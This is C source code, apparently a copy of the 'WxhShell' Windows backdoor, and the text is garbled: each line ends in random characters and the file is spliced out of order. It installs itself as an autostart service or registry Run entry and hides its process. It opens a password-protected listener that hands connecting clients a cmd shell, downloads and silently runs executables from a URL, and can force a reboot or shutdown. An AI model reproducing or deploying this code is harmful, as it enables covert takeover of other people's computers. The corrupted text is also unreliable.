    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R KFz6t  
    else { % rRYT8  
    closesocket(wsh); m_W\jz??k  
    ExitThread(0); ;? '`XB!  
    } wlAlIvIT  
    break; 8%_XJyg  
    } [kt!\-  
  // 获取shell 9Y&n$svB  
  case 's': { z~L4BY@z  
    CmdShell(wsh); ZK27^oG  
    closesocket(wsh); oA(jtX[(  
    ExitThread(0); c;xL.  
    break; d}EGI  
  } z;zy k  
  // 退出 sw[1T_S>  
  case 'x': { L oe!@c  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); |n \HxU3  
    CloseIt(wsh); (8?t0}#t  
    break; W|NzdxCY  
    } X)e6Y{vO  
  // 离开 f+}? $'  
  case 'q': { 6;dQ#wmg  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); $LRvPan`  
    closesocket(wsh); -w1U /o.  
    WSACleanup(); _UT>,c;h  
    exit(1); Dq)V] Zx  
    break; E b-?wzh  
        } ~= lm91W  
  } WB'&W=  
  } -m(9*b{h@  
L~"~C(g  
  // 提示信息 '\(Us^Ug  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ` Xhj7%>  
} -N<s =  
  } ax[-907  
D?44:'x+-  
  return; SpdQ<]  
} EFW'D=&h8  
<ap%+(!I  
// shell模块句柄 ^o,P>u!9  
int CmdShell(SOCKET sock) V k5}d[[l  
{ f$Nz).(  
STARTUPINFO si; Pp7}|/  
ZeroMemory(&si,sizeof(si)); I5mnV<QA^  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >2x[ub%$L  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; KqG:o+V=  
PROCESS_INFORMATION ProcessInfo; J/>Y mi,  
char cmdline[]="cmd"; jmxjiJKP  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); btkD<1{g  
  return 0; E y1mlW  
} 1&ukKy,[  
g>12!2}  
// 自身启动模式 #(j'?|2o%  
int StartFromService(void) - K0>^2hh  
{ /csj(8^w  
typedef struct iBVV5 f  
{ q!\K!W\  
  DWORD ExitStatus; \rn:/  
  DWORD PebBaseAddress; s$4!?b$tw  
  DWORD AffinityMask; )[|TxXz d  
  DWORD BasePriority; kl4FVZof  
  ULONG UniqueProcessId; @] uvpI!h  
  ULONG InheritedFromUniqueProcessId; !f2f gX  
}   PROCESS_BASIC_INFORMATION; wS-D"\4/  
)s5Q4m!  
PROCNTQSIP NtQueryInformationProcess; m Y*JNx  
_<yGen-  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; tV%:sk^d  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; z lco? Rt  
yw `w6Z3K  
  HANDLE             hProcess; Qh<_/X?  
  PROCESS_BASIC_INFORMATION pbi; [G>8N5@*  
wwE`YY  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); V|e9G,z~A  
  if(NULL == hInst ) return 0; VI: !#  
Cp`)*P2  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); &}_ $@  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); lQj3# !1}  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); R*VRxQ,h6+  
J,Du:|3o  
  if (!NtQueryInformationProcess) return 0; vnwS &;-k~  
,#W>E,UU  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); pyhC%EZU  
  if(!hProcess) return 0; L'B= =#  
V]dzKNFi  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; lK;|ciq"c7  
;|*o^9q  
  CloseHandle(hProcess); F`IV9qv  
|re)]%A?Fu  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 1 41@$mMzE  
if(hProcess==NULL) return 0; _^]2??V  
-7,xjn  
HMODULE hMod; ;*>Y8^K&Q  
char procName[255]; EVZuwbO)|  
unsigned long cbNeeded; &o%IKB@  
j;6kN-jx  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); .`*h2  
70hm9b-   
  CloseHandle(hProcess); VN6h:-&iY  
0aj4.H*%  
if(strstr(procName,"services")) return 1; // 以服务启动 gg $/  
1(t{)Z<  
  return 0; // 注册表启动  -i*{8t  
} RG[b+Qjn  
qp$Td<'Y  
// 主模块 Qau\6p>^  
int StartWxhshell(LPSTR lpCmdLine) *{[jO&& J  
{ t)o!OEnE  
  SOCKET wsl; g:<2yT  
BOOL val=TRUE; 7.U CX"  
  int port=0; MG6taOO!  
  struct sockaddr_in door; ;%wQnhg  
a^/j&9  
  if(wscfg.ws_autoins) Install(); 7bJAOJ'_  
=E$Hq4I  
port=atoi(lpCmdLine); Ot,eAiaX  
ukNB#2 "  
if(port<=0) port=wscfg.ws_port; .rpKSf.  
is`O,Met  
  WSADATA data; N~Zcrt_D  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; R8ZI}C1  
En-BT0o  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   (Klvctoy  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); =, kH(rp2  
  door.sin_family = AF_INET; >wx1M1  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); f4{O~?=  
  door.sin_port = htons(port); <E/"v  
wP:ab  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ,F^Rz.  
closesocket(wsl); 'KL!)}B$h  
return 1; ROH 2KSt  
} vhsHyb  
]1YyP  
  if(listen(wsl,2) == INVALID_SOCKET) { fbv%&z  
closesocket(wsl); \ k&(D*u  
return 1; o+-G@ 16  
} >Vp #   
  Wxhshell(wsl); ~t0\Q; @($  
  WSACleanup(); *F[;D7sZ~  
3pQ^vbQ"  
return 0; y?Vsp<  
1=NP=ZB  
} ; (0<5LQ  
FQ6jM~  
// 以NT服务方式启动 XQW9/AzNf  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) _}G1/`09#  
{ ?VM4_dugf  
DWORD   status = 0; 8":O\^i  
  DWORD   specificError = 0xfffffff; _pZ2^OO@  
gxa@da  
  serviceStatus.dwServiceType     = SERVICE_WIN32; V'n4iM  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ZP*(ZU@j=Z  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; PO1|l-v<Yq  
  serviceStatus.dwWin32ExitCode     = 0; )o51QgPy  
  serviceStatus.dwServiceSpecificExitCode = 0; #21t8  
  serviceStatus.dwCheckPoint       = 0; 3/d`s0O  
  serviceStatus.dwWaitHint       = 0; $K-od3h4=  
r*Iu6  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); @x u/&pbI  
  if (hServiceStatusHandle==0) return; *21foBfqh  
b&iJui"7k  
status = GetLastError(); \9FWH}|  
  if (status!=NO_ERROR) Y\cQ "9  
{ 8y$c\Eu(mF  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; xNLvK:@0p  
    serviceStatus.dwCheckPoint       = 0; IgxZ_2hO  
    serviceStatus.dwWaitHint       = 0; (A<'{J#5,  
    serviceStatus.dwWin32ExitCode     = status; (bT3 r_  
    serviceStatus.dwServiceSpecificExitCode = specificError; iRwlK5(&  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); F@C^nX9  
    return; A]x'!qa@=  
  } 4|yZA*Q^  
@20~R/vh  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; &i/QFO7y}  
  serviceStatus.dwCheckPoint       = 0; WJXQM[  
  serviceStatus.dwWaitHint       = 0; !`UHr]HJ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); .WeP]dX%:f  
} o>G^)aRa  
/C: rr_4=  
// 处理NT服务事件,比如:启动、停止 FXF#v>&  
VOID WINAPI NTServiceHandler(DWORD fdwControl) zG%ZDH^82_  
{ 'OERW|BO  
switch(fdwControl) Z3jtq-y  
{ 3jaY\(`%h  
case SERVICE_CONTROL_STOP: ~-dL #;  
  serviceStatus.dwWin32ExitCode = 0; sPKyg  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; moe5H  
  serviceStatus.dwCheckPoint   = 0; N3C 8%  
  serviceStatus.dwWaitHint     = 0; J3;dRW  
  { w =MZi=p  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); R3`Rrj Z  
  } `%a+LU2  
  return; utJz e  
case SERVICE_CONTROL_PAUSE: gJn_Z7MgJ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 'J0Erk8(  
  break; ,:G3Y )  
case SERVICE_CONTROL_CONTINUE: kJy bA  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ,vN0Jpf}\8  
  break; \q |n0>  
case SERVICE_CONTROL_INTERROGATE: @qGg=)T  
  break; vWM'}(  
}; [+j39d.Q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); tWo MUp  
} "q'9-lk  
 `LWZ!Q  
// 标准应用程序主函数 E#cW3\)  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ^mNPP:%iN  
{ 1!;}#m7v  
":o1g5?  
// 获取操作系统版本 fUJ\W"qya  
OsIsNt=GetOsVer(); pPezy:  
GetModuleFileName(NULL,ExeFile,MAX_PATH); p]7Gj &a  
;4g_~fB  
  // 从命令行安装 &R'%OFi  
  if(strpbrk(lpCmdLine,"iI")) Install(); TLkJZ4}?Q  
/p&)bL  
  // 下载执行文件 >Za66<:  
if(wscfg.ws_downexe) { qL\*rYe<  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) GA8cA)]zOD  
  WinExec(wscfg.ws_filenam,SW_HIDE); Ul EP;  
} f%1Dn}6  
rX8EXraO  
if(!OsIsNt) { ilyQ gEjC  
// 如果时win9x,隐藏进程并且设置为注册表启动 UpA{$@  
HideProc(); 1f.xZgO/2  
StartWxhshell(lpCmdLine); o4Bl!7U  
}  W1@Q)i  
else gw1| ?C  
  if(StartFromService()) fC$~3v  
  // 以服务方式启动 4cO||OsMU  
  StartServiceCtrlDispatcher(DispatchTable); (\^)@Y  
else Gn ]%'lrg'  
  // 普通方式启动 fGv`.T_d  
  StartWxhshell(lpCmdLine); ItoSORVV  
P'nbyF  
return 0; })l+-H"  
} =&- hU|ur  
}UzO_&Z#6  
,u,]ab  
$LPu_FJ  
=========================================== MI!JZI$z5  
FZ)Y<r8|s  
us.+nnd  
N1V qK  
Q&rf&8iH  
J)l]<##  
" `P`n qn  
VH{SE7  
#include <stdio.h> y %k`  
#include <string.h> '(/ZJ88JP  
#include <windows.h> ,H3C\.%w\  
#include <winsock2.h> .2xp.i{  
#include <winsvc.h> !n`ogzOh  
#include <urlmon.h> jH*+\:UP-  
%;.|?gR  
#pragma comment (lib, "Ws2_32.lib") %5_eos&<^)  
#pragma comment (lib, "urlmon.lib") ,u}n!quA  
==psPyLF@  
#define MAX_USER   100 // 最大客户端连接数 i*9l  
#define BUF_SOCK   200 // sock buffer `TkI yGr  
#define KEY_BUFF   255 // 输入 buffer x*#F|N4~',  
1%L* 9>e  
#define REBOOT     0   // 重启 6, Q{/  
#define SHUTDOWN   1   // 关机 %Km_Sy[7']  
dkV%Pyj  
#define DEF_PORT   5000 // 监听端口 n\2VrUQ)M  
cLQvzd:h=  
#define REG_LEN     16   // 注册表键长度 /~_Cb= 7  
#define SVC_LEN     80   // NT服务名长度 YkcX#>,  
;3n0 bKDY  
// 从dll定义API }*n(RnCn  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); lQ%]](a6  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Ru?Ue4W^b  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 6(4o}Sv  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); YbC6&_  
&DX9m4,y  
// wxhshell配置信息 #lyvb.;  
struct WSCFG { NgKbf vt  
  int ws_port;         // 监听端口 %J `;  
  char ws_passstr[REG_LEN]; // 口令 xDBEs*  
  int ws_autoins;       // 安装标记, 1=yes 0=no F<?e79},`  
  char ws_regname[REG_LEN]; // 注册表键名 j$*]'s&_hZ  
  char ws_svcname[REG_LEN]; // 服务名 -Uz xs5Zl  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 1K'0ajl1A  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 q{UP_6O F  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 m_H$fioha,  
int ws_downexe;       // 下载执行标记, 1=yes 0=no R]%ZqT{PS  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" h2 Ifq!(:  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 oHmU|  
9p!V?cH#8  
}; n=RAE^[M  
k=[!{I  
// default Wxhshell configuration -[#Mx}%  
struct WSCFG wscfg={DEF_PORT, vd-`?/,||  
    "xuhuanlingzhe", k@5,6s:  
    1, NDB]8C  
    "Wxhshell", yZ,k8TJ",  
    "Wxhshell", `n:IXD5'  
            "WxhShell Service", A.vcE  
    "Wrsky Windows CmdShell Service", {KL<Hx2M  
    "Please Input Your Password: ", &Ko}Pv  
  1, 1fL@rR  
  "http://www.wrsky.com/wxhshell.exe", FTt7o'U  
  "Wxhshell.exe" DR9M8E  
    }; M[_~7~4  
xIF z@9+k  
// 消息定义模块 RlX;c!K  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; K0]'v>AWr  
char *msg_ws_prompt="\n\r? for help\n\r#>"; w\;=3C`  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ?ZSG4La\  
char *msg_ws_ext="\n\rExit."; &a8#qv"l  
char *msg_ws_end="\n\rQuit."; I TJ>[c]x  
char *msg_ws_boot="\n\rReboot..."; `sN3iD!@R  
char *msg_ws_poff="\n\rShutdown..."; w2~(/RgO  
char *msg_ws_down="\n\rSave to "; o lNL|WJ`w  
`hS<F" j  
char *msg_ws_err="\n\rErr!"; 8N(bLGUG  
char *msg_ws_ok="\n\rOK!"; bF' ~&<c  
76)(G/  
char ExeFile[MAX_PATH]; j:|60hDz^  
int nUser = 0; mf@YmKbp  
HANDLE handles[MAX_USER]; -3Vx jycY  
int OsIsNt;  | qHWM  
$BE^'5G&4Y  
SERVICE_STATUS       serviceStatus;  ~u8}s4  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; aQN`C {nY  
#rV=!j||  
// 函数声明 @DkPJla&  
int Install(void); ok'0Byo  
int Uninstall(void); )1j~(C)E8  
int DownloadFile(char *sURL, SOCKET wsh); ;ijJ%/  
int Boot(int flag); e=Kv[R'(M  
void HideProc(void); c6s(f  
int GetOsVer(void); c0<Y017sG  
int Wxhshell(SOCKET wsl); `Dh%c%j)  
void TalkWithClient(void *cs); * @G4i  
int CmdShell(SOCKET sock); 5G){7]P+r"  
int StartFromService(void); *^c4q|G.-  
int StartWxhshell(LPSTR lpCmdLine); v !@/  
ItKwB+my  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 1elcP`N1  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ]qXHalHY  
FTCp3g  
// 数据结构和表定义 -ihF)^"a  
SERVICE_TABLE_ENTRY DispatchTable[] = }#<Sq57n  
{ ;y6Jo  
{wscfg.ws_svcname, NTServiceMain}, 5vbnO]8  
{NULL, NULL} >o 3X)  
}; P xpz7He  
Di*+Cz;gK  
// 自我安装 An[*Jx  
int Install(void) u{H,i(mx?  
{ 7L;yN..0  
  char svExeFile[MAX_PATH]; ~uC4>+dk  
  HKEY key; /l+x&xYD  
  strcpy(svExeFile,ExeFile); j\dkv_L  
":7cZ1VN2  
// 如果是win9x系统,修改注册表设为自启动 8<!qT1  
if(!OsIsNt) { bq[Q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /gy;~eB01  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (:+IS W  
  RegCloseKey(key); h,140pW  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { pJa FPO..|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); m1F<L  
  RegCloseKey(key); 5Tu#o ()  
  return 0; 4N$s vA  
    } .[2MPjg  
  } f[.hN  
} W]2;5 `MM  
else { x0lX6 |D  
fwsq:  
// 如果是NT以上系统,安装为系统服务 h%=b"x  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ;\<?LTp/r  
if (schSCManager!=0) Z(as@gj H  
{ `t!iknOQ$  
  SC_HANDLE schService = CreateService aGpRdF1;!  
  ( zo} SS[  
  schSCManager, 4#2iL+   
  wscfg.ws_svcname, ~BS*x+M  
  wscfg.ws_svcdisp, i6`8yw  
  SERVICE_ALL_ACCESS,  _&(ij(H  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , JEHV \ =  
  SERVICE_AUTO_START, zZ32K@  
  SERVICE_ERROR_NORMAL, oN `tZ;a  
  svExeFile, #mkr]K8A4  
  NULL, m qw!C  
  NULL, n"FOCcTIs  
  NULL, f6|3| +  
  NULL, iU%Gvf^?'5  
  NULL HENCQ_Wra  
  ); )&R;!#;5  
  if (schService!=0) ['R=@.  
  { M0]l!x#7  
  CloseServiceHandle(schService); 6J|f^W-fs  
  CloseServiceHandle(schSCManager); mu{%%b7|^  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); =JVRm 2#*  
  strcat(svExeFile,wscfg.ws_svcname); IB!Wrnj?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 2WUBJ-qnuT  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ^ _+ks/  
  RegCloseKey(key); GU[ Cq=k  
  return 0; `=KrV#/758  
    } zi-+@9T  
  } 0a'@J~v!  
  CloseServiceHandle(schSCManager); ~!&[;EM<bm  
} A+F-r_]}db  
} yPQ{tS*t  
(B$FX<K3  
return 1; *e>:K$r  
} e0$mu?wd-  
bR8)s{p6  
// 自我卸载 SD.ze(P  
int Uninstall(void) 6wu/6DO   
{ ]@8=e'V  
  HKEY key; hYWWvJ)S  
T=R94  
if(!OsIsNt) { I^ >zr.z A  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -+PPz?0  
  RegDeleteValue(key,wscfg.ws_regname); c''O+,L1+  
  RegCloseKey(key); CqX%V":2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  aZ0H)  
  RegDeleteValue(key,wscfg.ws_regname); \!^o<$s.G  
  RegCloseKey(key); Aj`4uFhiL  
  return 0;  C|lMXp\*  
  } AQV3ZVP  
} ncA2en?  
} hT]p8m aRZ  
else { M^[ jA](a  
qt:->yiq+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Wey\GQ`"8  
if (schSCManager!=0) 'P Yl%2  
{ HkV/+ {;S~  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ~%}g"|o  
  if (schService!=0) d:wAI|  
  { 2 sOc]L:9  
  if(DeleteService(schService)!=0) { (qG$u&  
  CloseServiceHandle(schService); 4[-9$ r  
  CloseServiceHandle(schSCManager); )Z_i[1V  
  return 0; =|#-Rm^YB  
  } PA=BNKlH  
  CloseServiceHandle(schService); *7vPU:Q[  
  } p{,fWk  
  CloseServiceHandle(schSCManager); /<2_K4(-{4  
} 'q-h kN  
} .F6#s  
g Q9ff,  
return 1; 6\Z^L1973  
} [T^6Kzz  
W&Hf}q s  
// 从指定url下载文件 MmK\|CtV  
int DownloadFile(char *sURL, SOCKET wsh) $-0u`=!  
{ l )4OV>  
  HRESULT hr; ( 0h]<7  
char seps[]= "/"; i~9)Hz;!  
char *token; Cn<kl^!Q-  
char *file; |S8pq4eKJ_  
char myURL[MAX_PATH]; C,]Ec2  
char myFILE[MAX_PATH]; 8(I"C$D!k  
z?aD Oh  
strcpy(myURL,sURL); @gj5'  
  token=strtok(myURL,seps); NAU<?q<)  
  while(token!=NULL) Xo5L:(?K  
  { >6dgf`U  
    file=token; aF=VJ+5  
  token=strtok(NULL,seps); o MAK[$k;  
  } =ht@7z8QM  
t(yv   
GetCurrentDirectory(MAX_PATH,myFILE); #n7{ 3)   
strcat(myFILE, "\\"); \[&]kPcDl  
strcat(myFILE, file); ')aYkO{%sb  
  send(wsh,myFILE,strlen(myFILE),0); ?`XKaD! f  
send(wsh,"...",3,0); DXGO-]!!0  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); y*D 8XI$  
  if(hr==S_OK) PA/6l"-`3  
return 0; b1OB'P8  
else DNy)\+[  
return 1; # 9t/j`{  
 ?.s*)n  
} nr^p H.  
[Wh 43Z  
// 系统电源模块 8HOmWQS  
int Boot(int flag) a~|ge9? (  
{ a=O!\J  
  HANDLE hToken; 6p@ts`#  
  TOKEN_PRIVILEGES tkp; %xRS9A 4  
^n]s}t}csV  
  if(OsIsNt) { >']H)c'2  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 9<ayQ*  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 7ou^wt+%  
    tkp.PrivilegeCount = 1; iI1t P  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Ame%:K!t  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ^:j$p,0e*S  
if(flag==REBOOT) { b+hY^$//  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) . <B1i  
  return 0; hTm}j,H  
} I}WJ0}R  
else { rU O{-R  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 8f.La  
  return 0; ?1uAY.~ZZB  
} 8{YxUD  
  }  V("1\  
  else { _biJch  
if(flag==REBOOT) {  #L)rz u  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) LcXMOT)s  
  return 0; 'w2;oO  
} &}cie"\L  
else { ?zEF?LJoK  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) (AYD @  
  return 0; 4=Ey\Px  
} dq(x@&J  
} +*V; f,  
7yp*I[1Qf>  
return 1; $#r(1 Ev  
} 1N+#(<x@,  
^n/uY94E)p  
// win9x进程隐藏模块 =+ p+_}C  
void HideProc(void) y6/X!+3+  
{ CkU=0mcY  
: [y(<TLw  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); m"R(_E5  
  if ( hKernel != NULL ) g8Z14'Ke  
  { Eg*3**gTO  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Z-@}~#E  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); !UTJ) &  
    FreeLibrary(hKernel); >$DqG$D  
  } P `"7m-  
kR|y0V {K*  
return; eW0=m:6  
} /Hmo!"W`  
 B]7jg9/  
// 获取操作系统版本 Kxn7sL$]=F  
int GetOsVer(void) o3=kF  
{ u $#7W>R  
  OSVERSIONINFO winfo; 1RA$hW@}  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); )^TQedF  
  GetVersionEx(&winfo); PS6`o  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) cy4'q ?r  
  return 1; Pc'?p  
  else N+5 ^h(~  
  return 0; gEP E9ew  
} __j8jEV  
nY)Pxahm7  
// 客户端句柄模块 `Tj}4f  
int Wxhshell(SOCKET wsl) 3;NRW+  
{ 7VcVI? ?  
  SOCKET wsh; n^N]iw{G  
  struct sockaddr_in client; M-N2>i#  
  DWORD myID; ozLJ#eOE9  
fP58$pwu  
  while(nUser<MAX_USER) (, "E9.  
{ $8k_M   
  int nSize=sizeof(client); P~e$iBH'  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); dU6LB+A  
  if(wsh==INVALID_SOCKET) return 1; I0K!Kcu5Iu  
09Y?!,  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); |@.<} /  
if(handles[nUser]==0) BA,6f?ktXS  
  closesocket(wsh); s.'\&B[  
else p;$9W+H0  
  nUser++; : !3y>bP)  
  }  c^s>  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ,rQ)TT  
x-&v|w'  
  return 0;  2p>SB/  
} Y)}%SP>,  
+o]BjgG  
// 关闭 socket Aw;vg/#~md  
void CloseIt(SOCKET wsh) 'V#ew\  
{ ~uadivli  
closesocket(wsh); S7{.liHf  
nUser--; % VpBB  
ExitThread(0); sdYj'e:N  
} e oSM@Isu  
|SKG4_wGe  
// 客户端请求句柄 z\>X[yNpA  
void TalkWithClient(void *cs) t<F]%8S  
{ #J724`  
]31XX=  
  SOCKET wsh=(SOCKET)cs; Xe;(y "pR  
  char pwd[SVC_LEN]; 8Ql'(5|T  
  char cmd[KEY_BUFF]; -WvgK"k  
char chr[1]; e8mbEC(AK  
int i,j; ^!o}>ls['  
(M,VwwN  
  while (nUser < MAX_USER) { zI_GdQNfN  
@jSbMI  
if(wscfg.ws_passstr) { s}9tK(4v  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); dqA[|bV  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~h0BT(p/  
  //ZeroMemory(pwd,KEY_BUFF); ++DQS9b{  
      i=0; f~nt!$  
  while(i<SVC_LEN) { zK4 8vo  
_/~ ,a  
  // 设置超时 ,Bw)n,  
  fd_set FdRead; W#I:j: p  
  struct timeval TimeOut; ,M.!z@  
  FD_ZERO(&FdRead); Y{vwOs  
  FD_SET(wsh,&FdRead); QM_X2Ho  
  TimeOut.tv_sec=8; r/hyW6e_  
  TimeOut.tv_usec=0; NLZZMr  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); YQV?S  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); W^.-C  
^7 bf8 ^`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )nHE$gVM s  
  pwd=chr[0]; Q&7)vs  
  if(chr[0]==0xd || chr[0]==0xa) { Y%:0|utQC  
  pwd=0; aq+IC@O  
  break; E\~ KVn  
  } ITIj=!F*  
  i++; %M#?cmt  
    } C]yQ "b  
h^+C)6(58n  
  // 如果是非法用户,关闭 socket k\sM;bCv7  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Nv?-*&L  
} |"YA<e %  
/CI%XocB  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ?koxt4 4  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0T#xM(q[K  
N&^xq_9&  
while(1) { h@;)dLo0z  
1i/::4=  
  ZeroMemory(cmd,KEY_BUFF); nt0\q'&  
)R8%'X;U  
      // 自动支持客户端 telnet标准   #3K,V8(  
  j=0; [AZ aT  
  while(j<KEY_BUFF) { xDGS`U  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); guOSO@  
  cmd[j]=chr[0]; MziZN^(  
  if(chr[0]==0xa || chr[0]==0xd) { Np<&#s[dQ  
  cmd[j]=0; ur<eew@8@i  
  break;  6Z&u  
  } ]osx.  
  j++; ]TBtLU3  
    } o9Txo (tYU  
qwF*(pTHq  
  // 下载文件  S2&9# 6  
  if(strstr(cmd,"http://")) { %8bzs?QI  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); +an^e'  
  if(DownloadFile(cmd,wsh)) ^{*f3m/  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2Za ,4'  
  else w;c#drY7S  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E {KS a  
  } w3<"g&n|  
  else { w}j6 .r  
i}`_H^  
    switch(cmd[0]) { cK[R1 ReH  
  FE+7X=y  
  // 帮助 J 0Hm)*  
  case '?': { J1tzHa6  
